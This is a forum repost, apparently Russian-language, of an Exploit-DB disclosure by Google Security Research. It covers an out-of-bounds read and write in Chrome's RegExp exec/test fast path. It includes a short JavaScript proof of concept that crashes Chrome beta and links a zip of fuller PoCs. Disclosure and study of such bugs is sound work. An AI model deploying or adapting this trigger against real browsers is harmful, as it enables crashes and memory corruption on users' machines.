Exploit Google Chrome - Out-of-Bounds Access in RegExp Stubs

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
42286
Проверка EDB
  1. Пройдено
Автор
GOOGLE SECURITY RESEARCH
Тип уязвимости
DOS
Платформа
MULTIPLE
CVE
N/A
Дата публикации
2017-06-30
Google Chrome - Out-of-Bounds Access in RegExp Stubs
Код:
There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.

A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.

var re;
function f(){
	for(var i = 0; i < 100; i++){
		re["test" + i] = 0x77777777; // make a dict
	}
return 0;
}

re = /-/g;
var str = '2016-01-02';
re.lastIndex = {valueOf : f};
result = re.exec(str);

This PoC crashes on google-chrome-beta on Linux.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42286.zip
 
Источник
www.exploit-db.com

Похожие темы